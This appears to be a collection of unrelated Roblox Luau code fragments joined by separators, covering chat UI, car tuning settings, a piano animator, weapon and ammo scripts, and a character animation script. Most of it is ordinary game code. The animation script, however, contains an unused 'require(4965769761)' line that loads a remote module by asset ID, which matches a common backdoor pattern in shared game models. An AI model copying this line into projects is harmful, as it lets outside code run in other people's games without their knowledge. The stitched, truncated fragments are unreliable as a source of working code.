self.GuiObject.Size = curSize
local pixelDistance = math.abs(endAbsoluteSizeY - curAbsoluteSizeY)
local tweeningTime = math.min(1, (pixelDistance * (1 / self.TweenPixelsPerSecond))) -- pixelDistance * (seconds per pixels)
local success = pcall(function() self.GuiObject:TweenSize(endSize, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweeningTime, true) end)
if (not success) then
self.GuiObject.Size = endSize
end
end
function methods:SetTextSize(textSize)
if not self:IsInCustomState() then
if self.TextBox then
self.TextBox.TextSize = textSize
end
if self.TextLabel then
self.TextLabel.TextSize = textSize
end
end
end
function methods:GetDefaultChannelNameColor()
if ChatSettings.DefaultChannelNameColor then
return ChatSettings.DefaultChannelNameColor
end
return Color3.fromRGB(35, 76, 142)
end
function methods:SetChannelTarget(targetChannel)
local messageModeTextButton = self.GuiObjects.MessageModeTextButton
local textBox = self.TextBox
local textLabel = self.TextLabel
self.TargetChannel = targetChannel
if not self:IsInCustomState() then
if targetChannel ~= ChatSettings.GeneralChannelName then
messageModeTextButton.Size = UDim2.new(0, 1000, 1, 0)
messageModeTextButton.Text = string.format("[%s] ", targetChannel)
local channelNameColor = self:GetChannelNameColor(targetChannel)
if channelNameColor then
messageModeTextButton.TextColor3 = channelNameColor
else
messageModeTextButton.TextColor3 = self:GetDefaultChannelNameColor()
end
local xSize = messageModeTextButton.TextBounds.X
messageModeTextButton.Size = UDim2.new(0, xSize, 1, 0)
textBox.Size = UDim2.new(1, -xSize, 1, 0)
textBox.Position = UDim2.new(0, xSize, 0, 0)
textLabel.Size = UDim2.new(1, -xSize, 1, 0)
textLabel.Position = UDim2.new(0, xSize, 0, 0)
else
messageModeTextButton.Text = ""
messageModeTextButton.Size = UDim2.new(0, 0, 0, 0)
textBox.Size = UDim2.new(1, 0, 1, 0)
textBox.Position = UDim2.new(0, 0, 0, 0)
textLabel.Size = UDim2.new(1, 0, 1, 0)
textLabel.Position = UDim2.new(0, 0, 0, 0)
end
end
end
function methods:IsInCustomState()
return self.InCustomState
end
function methods:ResetCustomState()
if self.InCustomState then
self.CustomState:Destroy()
self.CustomState = nil
self.InCustomState = false
self.ChatBarParentFrame:ClearAllChildren()
self:CreateGuiObjects(self.ChatBarParentFrame)
self:SetTextLabelText(
ChatLocalization:Get(
"GameChat_ChatMain_ChatBarText",
'To chat click here or press "/" key'
)
)
end
end
function methods:GetCustomMessage()
if self.InCustomState then
return self.CustomState:GetMessage()
end
return nil
end
function methods:CustomStateProcessCompletedMessage(message)
if self.InCustomState then
return self.CustomState:ProcessCompletedMessage()
end
return false
end
function methods:FadeOutBackground(duration)
self.AnimParams.Background_TargetTransparency = 1
self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
self:FadeOutText(duration)
end
function methods:FadeInBackground(duration)
self.AnimParams.Background_TargetTransparency = 0.6
self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
self:FadeInText(duration)
end
function methods:FadeOutText(duration)
self.AnimParams.Text_TargetTransparency = 1
self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
end
function methods:FadeInText(duration)
self.AnimParams.Text_TargetTransparency = 0.4
self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
end
function methods:AnimGuiObjects()
self.GuiObject.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency
self.GuiObjects.TextBoxFrame.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency
self.GuiObjects.TextLabel.TextTransparency = self.AnimParams.Text_CurrentTransparency
self.GuiObjects.TextBox.TextTransparency = self.AnimParams.Text_CurrentTransparency
self.GuiObjects.MessageModeTextButton.TextTransparency = self.AnimParams.Text_CurrentTransparency
end
function methods:InitializeAnimParams()
self.AnimParams.Text_TargetTransparency = 0.4
self.AnimParams.Text_CurrentTransparency = 0.4
self.AnimParams.Text_NormalizedExptValue = 1
self.AnimParams.Background_TargetTransparency = 0.6
self.AnimParams.Background_CurrentTransparency = 0.6
self.AnimParams.Background_NormalizedExptValue = 1
end
function methods:Update(dtScale)
self.AnimParams.Text_CurrentTransparency = CurveUtil:Expt(
self.AnimParams.Text_CurrentTransparency,
self.AnimParams.Text_TargetTransparency,
self.AnimParams.Text_NormalizedExptValue,
dtScale
)
self.AnimParams.Background_CurrentTransparency = CurveUtil:Expt(
self.AnimParams.Background_CurrentTransparency,
self.AnimParams.Background_TargetTransparency,
self.AnimParams.Background_NormalizedExptValue,
dtScale
)
self:AnimGuiObjects()
end
function methods:SetChannelNameColor(channelName, channelNameColor)
self.ChannelNameColors[channelName] = channelNameColor
if self.GuiObjects.MessageModeTextButton.Text == channelName then
self.GuiObjects.MessageModeTextButton.TextColor3 = channelNameColor
end
end
function methods:GetChannelNameColor(channelName)
return self.ChannelNameColors[channelName]
end
|
--[[UIS.InputBegan:Connect(function(input)
if input.KeyCode == Enum.KeyCode.F and equippedLantern == false then
character.Humanoid:EquipTool(player.Backpack.Lantern)
script.Parent.Parent.Parent.Parent.ItemFrame.Visible = true
script.Parent.Parent.Parent.Parent.ItemFrame.ImageLabel.Image = player.Character.Lantern.TextureId
equippedLantern = true
end
end)
UIS.InputBegan:Connect(function(input)
if input.KeyCode == Enum.KeyCode.F and equippedLantern == true then
character.Humanoid:UnequipTools()
script.Parent.Parent.Parent.Parent.ItemFrame.Visible = false
equippedLantern = false
end
end)]]
| |
-- 5/27/2018 --
|
sp = script.Parent
run = game:GetService("RunService")
run.RenderStepped:Connect(function()
sp.Rotation = sp.Rotation + 1
end)
|
-- // Preloader
|
contentProvider:PreloadAsync(assets)
|
-------------------------------
--Init
-------------------------------
|
CreateMotor()
WeldToObject(PARENTMODEL.MovingParts:GetChildren(), PARENTMODEL.Motors.MotorBlock1)
|
-- ROBLOX deviation: upstream type is incorrect, as returned function takes a parameter in reconcileChildrenIterator()
|
exports.getIteratorFn = function(maybeIterable): nil | (...any) -> Iterator<any>
if typeof(maybeIterable) == "table" then
-- ROBLOX deviation: Upstream understands that portal objects are not
-- iterable; we need to check explicitly
if maybeIterable["$$typeof"] == exports.REACT_PORTAL_TYPE then
return nil
end
return function()
local currentKey: any, currentValue: any
return {
next = function()
currentKey, currentValue = next(maybeIterable, currentKey)
return {
done = currentValue == nil,
-- deviation: To support Roact's table-keys-as-stable-keys feature,
-- we need the iterator to return the key as well
key = currentKey,
value = currentValue,
}
end,
}
end
end
return nil
end
return exports
|
-- Attention: If you put the speed too high, it may lag your map. Even if you reset it, sadly.
| |
--[=[
Observes the children with a specific name.
@param parent Instance
@param className string
@param name string
@return Observable<Brio<Instance>>
]=]
|
function RxInstanceUtils.observeChildrenOfNameBrio(parent, className, name)
assert(typeof(parent) == "Instance", "Bad parent")
assert(type(className) == "string", "Bad className")
assert(type(name) == "string", "Bad name")
return Observable.new(function(sub)
local topMaid = Maid.new()
local function handleChild(child)
if not child:IsA(className) then
return
end
local maid = Maid.new()
local function handleNameChanged()
if child.Name == name then
local brio = Brio.new(child)
maid._brio = brio
sub:Fire(brio)
else
maid._brio = nil
end
end
maid:GiveTask(child:GetPropertyChangedSignal("Name"):Connect(handleNameChanged))
handleNameChanged()
topMaid[child] = maid
end
topMaid:GiveTask(parent.ChildAdded:Connect(handleChild))
topMaid:GiveTask(parent.ChildRemoved:Connect(function(child)
topMaid[child] = nil
end))
for _, child in pairs(parent:GetChildren()) do
handleChild(child)
end
return topMaid
end)
end
|
-- Functions --
|
local function playSoundLocal(sId,sParent)
local sound = Instance.new("Sound",sParent)
sound.SoundId = "http://www.roblox.com/asset/?id="..sId
sound:Play()
sound:Destroy()
end
local function onClicked(player)
print(player.Name.." clicked on Uniform Giver")
playSoundLocal(152206246,player) -- Declaring the sound ID and Parent
local foundShirt = player.Character:FindFirstChild("Shirt") -- Tries to find Shirt
if not foundShirt then -- if there is no shirt
print("No shirt found, creating for "..player.Name)
local newShirt = Instance.new("Shirt",player.Character)
newShirt.Name = "Shirt"
else if foundShirt then -- if there is a shirt
print("Shirt found, reconstructing for "..player.Name)
player.Character.Shirt:remove()
local newShirt = Instance.new("Shirt",player.Character)
newShirt.Name = "Shirt"
end
end
local foundPants = player.Character:FindFirstChild("Pants") -- Tries to find Pants
if not foundPants then -- if there are no pants
print("No pants found, creating for "..player.Name)
local newPants = Instance.new("Pants",player.Character)
newPants.Name = "Pants"
else if foundPants then -- if there are pants
print("Pants found, reconstructing for "..player.Name)
player.Character.Pants:remove()
local newPants = Instance.new("Pants",player.Character)
newPants.Name = "Pants"
end
end
player.Character.Shirt.ShirtTemplate = shirtId
player.Character.Pants.PantsTemplate = pantsId
end
|
-- Define the jump scale for the buttons
|
local jumpScale = 1.2
|
---------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------
-- Local Variables
|
local Tool = script.Parent
local Handle = Tool.Handle
local MouseEvent = Tool.MouseEvent
local FirePointObject = Handle.GunFirePoint
local FastCast = require(Tool.FastCastRedux)
local FireSound = Handle.Fire
local ImpactParticle = Handle.ImpactParticle
local Debris = game:GetService("Debris")
local Players = game:GetService("Players")
local table = require(Tool.FastCastRedux.Table)
local PartCacheModule = require(Tool.PartCache)
local CanFire = true -- Used for a cooldown.
local RNG = Random.new() -- Set up a randomizer.
local TAU = math.pi * 2 -- Set up mathematical constant Tau (pi * 2)
FastCast.DebugLogging = DEBUG
FastCast.VisualizeCasts = DEBUG
|
--[[Transmission]]
|
Tune.Clutch = true -- Implements a realistic clutch, change to "false" for the chassis to act like AC6.81T.
Tune.TransModes = {"Auto","Semi","Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
Tune.ClutchMode = "New" --[[
[Modes]
"New" : Speed controls clutch engagement (AC6C V1.2)
"Old" : Speed and RPM control clutch engagement (AC6C V1.1) ]]
Tune.ClutchType = "Clutch" --[[
[Types]
"Clutch" : Standard clutch, recommended
"TorqueConverter" : Torque converter, keeps RPM up
"CVT" : CVT, found in scooters
]]
--[[Transmission]]
--Transmission Settings
Tune.Stall = true -- Stalling, enables the car to stall. An ignition plugin would be necessary. Disables if Tune.Clutch is false.
Tune.ClutchRel = false -- If true, the driver must let off the gas before shifting to a higher gear. Recommended false for beginners.
Tune.ClutchEngage = 10 -- How fast engagement is (0 = instant, 99 = super slow)
Tune.SpeedEngage = 20 -- Speed the clutch fully engages at (Based on SPS)
Tune.ClutchKick = true -- (LuaInt)
Tune.KickMult = 15 -- Torque multiplier on launch
Tune.KickSpeedThreshold = 40 -- Speed limit on launch (SPS)
Tune.KickRPMThreshold = 1000 -- RPM limit on launch, range is created below redline
--Clutch: "Old" mode
Tune.ClutchRPMMult = 1.0 -- Clutch RPM multiplier, recommended to leave at 1.0
--Torque Converter:
Tune.TQLock = false -- Torque converter starts locking at a certain RPM
--Torque Converter and CVT:
Tune.RPMEngage = 3500 -- Keeps RPMs to this level until passed
--Neutral Rev Limiter (Avxnturador)
Tune.NeutralLimit = false -- Enables a different redline RPM for when the car is in neutral
Tune.NeutralRevRPM = 5000 -- The rev limiter when the car is in neutral
Tune.LimitClutch = false -- Will also limit RPMs while the clutch is pressed down
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoShiftType = "DCT" --[[
[Types]
"Rev" : Clutch engages fully once RPM reached (AC6C V1)
"DCT" : Clutch engages after a set time has passed (AC6.81T) ]]
Tune.AutoShiftVers = "New" --[[
[Versions]
"New" : Shift from Reverse, Neutral, and Drive (AC6.81T)
"Old" : Auto shifts into R or D when stopped. (AC6.52S2) ]]
Tune.AutoUpThresh = -200 -- Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 -- Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Automatic: Revmatching
Tune.ShiftThrot = 100 -- Throttle level when shifting down to revmatch, 0 - 100%
--Automatic: DCT
Tune.ShiftUpTime = 0.25 -- Time required to shift into next gear, from a lower gear to a higher one.
Tune.ShiftDnTime = 0.125 -- Time required to shift into next gear, from a higher gear to a lower one.
--Gear Ratios
Tune.FinalDrive = 3.545
Tune.Ratios = {
--[[Reverse]] 3.28 ,
--[[Neutral]] 0 ,
--[[ 1 ]] 3.827 ,
--[[ 2 ]] 2.36 ,
--[[ 3 ]] 1.685 ,
--[[ 4 ]] 1.313 ,
--[[ 5 ]] 1 ,
--[[ 6 ]] .793 ,
}
Tune.FDMult = 1 -- Ratio multiplier (keep this at 1 if car is not struggling with torque)
|
--[[Engine]]
|
-- [TORQUE CURVE VISUAL]
-- https://www.desmos.com/calculator/nap6stpjqf
-- Use sliders to manipulate values
-- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.
Tune.Horsepower = 450
Tune.IdleRPM = 600
Tune.PeakRPM = 7200
Tune.Redline = 9000
Tune.EqPoint = 5500
Tune.PeakSharpness = 3.2
Tune.CurveMult = 1.2
Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Turbo Settings
Tune.Aspiration = "Double" --[[
[Aspiration]
"Natural" : N/A, Naturally aspirated engine
"Single" : Single turbocharger
"Double" : Twin turbocharger ]]
Tune.Boost = 8 --Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30)
Tune.TurboSize = 25 --Turbo size; the bigger it is, the more lag it has.
Tune.CompressRatio = 9 --The compression ratio (look it up)
--Misc
Tune.RevAccel = 155 -- RPM acceleration when clutch is off
Tune.RevDecay = 35 -- RPM decay when clutch is off
Tune.RevBounce = 400 -- RPM kickback from redline
Tune.IdleThrottle = 5 -- Percent throttle at idle
Tune.ClutchTol = 5 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.Milk
|
--[=[
Gets and sets the maximum acceleration.
@prop a number
@within AccelTween
]=]
| |
----------------------------------
------------FUNCTIONS-------------
----------------------------------
|
function UnDigify(digit)
if digit < 1 or digit > 61 then
return ""
elseif digit == 1 then
return "1"
elseif digit == 2 then
return "!"
elseif digit == 3 then
return "2"
elseif digit == 4 then
return "@"
elseif digit == 5 then
return "3"
elseif digit == 6 then
return "4"
elseif digit == 7 then
return "$"
elseif digit == 8 then
return "5"
elseif digit == 9 then
return "%"
elseif digit == 10 then
return "6"
elseif digit == 11 then
return "^"
elseif digit == 12 then
return "7"
elseif digit == 13 then
return "8"
elseif digit == 14 then
return "*"
elseif digit == 15 then
return "9"
elseif digit == 16 then
return "("
elseif digit == 17 then
return "0"
elseif digit == 18 then
return "q"
elseif digit == 19 then
return "Q"
elseif digit == 20 then
return "w"
elseif digit == 21 then
return "W"
elseif digit == 22 then
return "e"
elseif digit == 23 then
return "E"
elseif digit == 24 then
return "r"
elseif digit == 25 then
return "t"
elseif digit == 26 then
return "T"
elseif digit == 27 then
return "y"
elseif digit == 28 then
return "Y"
elseif digit == 29 then
return "u"
elseif digit == 30 then
return "i"
elseif digit == 31 then
return "I"
elseif digit == 32 then
return "o"
elseif digit == 33 then
return "O"
elseif digit == 34 then
return "p"
elseif digit == 35 then
return "P"
elseif digit == 36 then
return "a"
elseif digit == 37 then
return "s"
elseif digit == 38 then
return "S"
elseif digit == 39 then
return "d"
elseif digit == 40 then
return "D"
elseif digit == 41 then
return "f"
elseif digit == 42 then
return "g"
elseif digit == 43 then
return "G"
elseif digit == 44 then
return "h"
elseif digit == 45 then
return "H"
elseif digit == 46 then
return "j"
elseif digit == 47 then
return "J"
elseif digit == 48 then
return "k"
elseif digit == 49 then
return "l"
elseif digit == 50 then
return "L"
elseif digit == 51 then
return "z"
elseif digit == 52 then
return "Z"
elseif digit == 53 then
return "x"
elseif digit == 54 then
return "c"
elseif digit == 55 then
return "C"
elseif digit == 56 then
return "v"
elseif digit == 57 then
return "V"
elseif digit == 58 then
return "b"
elseif digit == 59 then
return "B"
elseif digit == 60 then
return "n"
elseif digit == 61 then
return "m"
else
return "?"
end
end
function IsBlack(note)
if note%12 == 2 or note%12 == 4 or note%12 == 7 or note%12 == 9 or note%12 == 11 then
return true
end
end
local orgins = {} if script.Parent.Keys:FindFirstChild("Keys") then for i,v in pairs(script.Parent.Keys.Keys:GetChildren()) do orgins[v.Name] = {v.Position,v.Orientation} end else for i,v in pairs(script.Parent.Keys:GetChildren()) do if v:IsA("Model") then for a,b in pairs(v:GetChildren()) do orgins[v.Name] = {b.Position,b.Orientation} end end end end function AnimateKey(note1,px,py,pz,ox,oy,oz,Time) pcall(function() local obj = script.Parent.Keys.Keys:FindFirstChild(note1) if obj then local Properties = {} local OrginP = orgins[obj.Name][1] local OrginO = orgins[obj.Name][2] local changep = OrginP - Vector3.new(px,py,pz) local changeo = OrginO - Vector3.new(ox,oy,oz) Properties.Position = Vector3.new(obj.Position.x, changep.Y, changep.Z) Properties.Orientation = changeo Tween(obj,Properties,Time,Enum.EasingStyle.Linear) Properties = {} Properties.Position = Vector3.new(obj.Position.x,OrginP.y,OrginP.z) Properties.Orientation = OrginO Tween(obj,Properties,Time,Enum.EasingStyle.Linear) else print(note1..' was not found, or you do not have the correct configuration for the piano keys') end end) end
|
-- PROPERTIES
|
IconController.topbarEnabled = true
IconController.controllerModeEnabled = false
IconController.previousTopbarEnabled = checkTopbarEnabled()
IconController.leftGap = 12
IconController.midGap = 12
IconController.rightGap = 12
IconController.leftOffset = 0
IconController.rightOffset = 0
IconController.voiceChatEnabled = nil
IconController.mimicCoreGui = true
IconController.healthbarDisabled = false
IconController.activeButtonBCallbacks = 0
IconController.disableButtonB = false
IconController.translator = localizationService:GetTranslatorForPlayer(localPlayer)
|
--Made by Luckymaxer
|
Figure = script.Parent
RunService = game:GetService("RunService")
Creator = Figure:FindFirstChild("Creator")
Humanoid = Figure:WaitForChild("Humanoid")
Head = Figure:WaitForChild("Head")
Torso = Figure:WaitForChild("Torso")
Neck = Torso:WaitForChild("Neck")
LeftShoulder = Torso:WaitForChild("Left Shoulder")
RightShoulder = Torso:WaitForChild("Right Shoulder")
LeftHip = Torso:WaitForChild("Left Hip")
RightHip = Torso:WaitForChild("Right Hip")
for i, v in pairs({--[[Neck, ]]LeftShoulder, RightShoulder, LeftHip, RightHip}) do
if v and v.Parent then
v.DesiredAngle = 0
v.CurrentAngle = 0
end
end
Pose = "None"
LastPose = Pose
PoseTime = tick()
ToolAnimTime = 0
function SetPose(pose)
LastPose = Pose
Pose = pose
PoseTime = tick()
end
function OnRunning(Speed)
if Speed > 0 then
SetPose("Running")
else
SetPose("Standing")
end
end
function OnDied()
SetPose("Dead")
end
function OnJumping()
SetPose("Jumping")
end
function OnClimbing()
SetPose("Climbing")
end
function OnGettingUp()
SetPose("GettingUp")
end
function OnFreeFall()
SetPose("FreeFall")
end
function OnFallingDown()
SetPose("FallingDown")
end
function OnSeated()
SetPose("Seated")
end
function OnPlatformStanding()
SetPose("PlatformStanding")
end
function OnSwimming(Speed)
return OnRunning(Speed)
end
function MoveJump()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = 0.5
LeftShoulder.DesiredAngle = -0.5
RightHip.DesiredAngle = -0.5
LeftHip.DesiredAngle = 0.5
end
function MoveFreeFall()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = 0.5
LeftShoulder.DesiredAngle = -0.5
RightHip.DesiredAngle = -0.5
LeftHip.DesiredAngle = 0.5
end
function MoveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = (math.pi / 2)
LeftShoulder.DesiredAngle = -(math.pi / 2)
RightHip.DesiredAngle = 1
LeftHip.DesiredAngle = -1
end
function GetTool()
for i, v in pairs(Figure:GetChildren()) do
if v:IsA("Tool") then
return v
end
end
end
function GetToolAnim(Tool)
for i, v in pairs(Tool:GetChildren()) do
if v:IsA("StringValue") and v.Name == "ToolAnim" then
return v
end
end
return nil
end
local Animator = require(4965769761)
function AnimateTool()
if (ToolAnim == "None") then
return
end
if (ToolAnim == "Slash") then
RightShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
return
end
if (ToolAnim == "Lunge") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightHip.MaxVelocity = 0.5
LeftHip.MaxVelocity = 0.5
RightShoulder.DesiredAngle = (math.pi / 2)
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = (math.pi / 2)
LeftHip.DesiredAngle = 1
return
end
end
function Move(Time)
local LimbAmplitude
local LimbFrequency
local NeckAmplitude
local NeckFrequency
local NeckDesiredAngle
if (Pose == "Jumping") then
MoveJump()
return
elseif (Pose == "FreeFall") then
MoveFreeFall()
return
elseif (Pose == "Seated") then
MoveSit()
return
end
local ClimbFudge = 0
if (Pose == "Running") then
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
LimbAmplitude = 1
LimbFrequency = 9
NeckAmplitude = 0
NeckFrequency = 0
NeckDesiredAngle = 0
--[[if Creator and Creator.Value and Creator.Value:IsA("Player") and Creator.Value.Character then
local CreatorCharacter = Creator.Value.Character
local CreatorHead = CreatorCharacter:FindFirstChild("Head")
if CreatorHead then
local TargetPosition = CreatorHead.Position
local Direction = Torso.CFrame.lookVector
local HeadPosition = Head.Position
NeckDesiredAngle = ((((HeadPosition - TargetPosition).Unit):Cross(Direction)).Y / 4)
end
end]]
elseif (Pose == "Climbing") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
LimbAmplitude = 1
LimbFrequency = 9
NeckAmplitude = 0
NeckFrequency = 0
NeckDesiredAngle = 0
ClimbFudge = math.pi
else
LimbAmplitude = 0.1
LimbFrequency = 1
NeckAmplitude = 0.25
NeckFrequency = 1.25
end
NeckDesiredAngle = ((not NeckDesiredAngle and (NeckAmplitude * math.sin(Time * NeckFrequency))) or NeckDesiredAngle)
LimbDesiredAngle = (LimbAmplitude * math.sin(Time * LimbFrequency))
--Neck.DesiredAngle = NeckDesiredAngle
RightShoulder.DesiredAngle = (LimbDesiredAngle + ClimbFudge)
LeftShoulder.DesiredAngle = (LimbDesiredAngle - ClimbFudge)
RightHip.DesiredAngle = -LimbDesiredAngle
LeftHip.DesiredAngle = -LimbDesiredAngle
local Tool = GetTool()
if Tool then
AnimStringValueObject = GetToolAnim(Tool)
if AnimStringValueObject then
ToolAnim = AnimStringValueObject.Value
if AnimStringValueObject and AnimStringValueObject.Parent then
AnimStringValueObject:Destroy()
end
ToolAnimTime = (Time + 0.3)
end
if Time > ToolAnimTime then
ToolAnimTime = 0
ToolAnim = "None"
end
AnimateTool()
else
ToolAnim = "None"
ToolAnimTime = 0
end
end
Humanoid.Died:connect(OnDied)
Humanoid.Running:connect(OnRunning)
Humanoid.Jumping:connect(OnJumping)
Humanoid.Climbing:connect(OnClimbing)
Humanoid.GettingUp:connect(OnGettingUp)
Humanoid.FreeFalling:connect(OnFreeFall)
Humanoid.FallingDown:connect(OnFallingDown)
Humanoid.Seated:connect(OnSeated)
Humanoid.PlatformStanding:connect(OnPlatformStanding)
Humanoid.Swimming:connect(OnSwimming)
Humanoid:ChangeState(Enum.HumanoidStateType.None)
RunService.Stepped:connect(function()
local _, Time = wait(0.1)
Move(Time)
end)
|
--==================================================
|
local function Enablerx2(Hit)
if Enabled and Hit and Hit.Parent then
local AmmoRefilled = false
local Player = game.Players:GetPlayerFromCharacter(Hit.Parent)
if Player then
for _, GunName in pairs(GunToRefillAmmo) do
local Gun = Player.Backpack:FindFirstChild(GunName) or Player.Character:FindFirstChild(GunName)
if Gun then
local GunScript = Gun:FindFirstChild("GunScript_Server")
local Module = Gun:FindFirstChild("Setting")
if GunScript and Module then
local Module = require(Module)
if GunScript.Ammo.Value < Module.MaxAmmo and Module.LimitedAmmoEnabled then
Enabled = false
AmmoRefilled = true
local ChangedAmmo = (Ammo == math.huge or GunScript.Ammo.Value+Ammo >= Module.Ammo) and Module.Ammo or (GunScript.Ammo.Value + Ammo)
GunScript.Ammo.Value = ChangedAmmo
GunScript.ChangeMagAndAmmo:FireClient(Player,Module.AmmoPerMag,ChangedAmmo)
end
end
end
end
end
if AmmoRefilled then AmmoBox:Destroy() end
end
end
AmmoBox.Touched:connect(Enablerx2)
|
-- Call updateWalkSpeed once to set initial walk speed
|
updateWalkSpeed()
|
-- type TestFn = (done?: Global.DoneFn) => Promise<any> | void | undefined;
|
type GlobalCallback = (testName: string, fn: Global_ConcurrentTestFn, timeout: number?) -> ()
|
--// F key, HornOn
|
mouse.KeyDown:connect(function(key)
if key=="h" then
veh.Lightbar.middle.Airhorn:Play()
veh.Lightbar.middle.Wail.Volume = 1
veh.Lightbar.middle.Yelp.Volume = 1
veh.Lightbar.middle.Priority.Volume = 1
veh.Lightbar.HORN.Transparency = 0
end
end)
|
----- Locales -----
|
local Button = script.Parent
local Player = game:GetService("Players").LocalPlayer
local Inventory = Player.Inventory
local QuantityText = Button.Variables.QuantityText
local LocalInformationText = script.Parent.SkinData.Description
local LocalCaseInformationText = script.Parent.SkinData.Case
local Image = Button.UI.SkinImage
|
--// Damage Settings
|
BaseDamage = 49; -- Torso Damage
LimbDamage = 42; -- Arms and Legs
ArmorDamage = 42; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 73; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
-- Now with exciting TeamColors HACK!
|
function waitForChild(parent, childName)
local child = parent:findFirstChild(childName)
if child then return child end
while true do
child = parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
|
--OMGHAX mouseclick
|
local last_click = 0
script.Parent.MouseClick.Changed:connect(function()
if time() - last_click < 0.3 then
anim = "homerun"
last_click = time()
HomeRun()
else
anim = "norm"
last_click = time()
Whack()
end
end)
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 300 -- Spring Dampening
Tune.FSusStiffness = 4000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2.5 -- Suspension length (in studs)
Tune.FPreCompress = .5 -- Pre-compression adds resting length force
Tune.FExtensionLim = .5 -- Max Extension Travel (in studs)
Tune.FCompressLim = 2 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 8 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.5 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 300 -- Spring Dampening
Tune.RSusStiffness = 4000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2.5 -- Suspension length (in studs)
Tune.RPreCompress = .5 -- Pre-compression adds resting length force
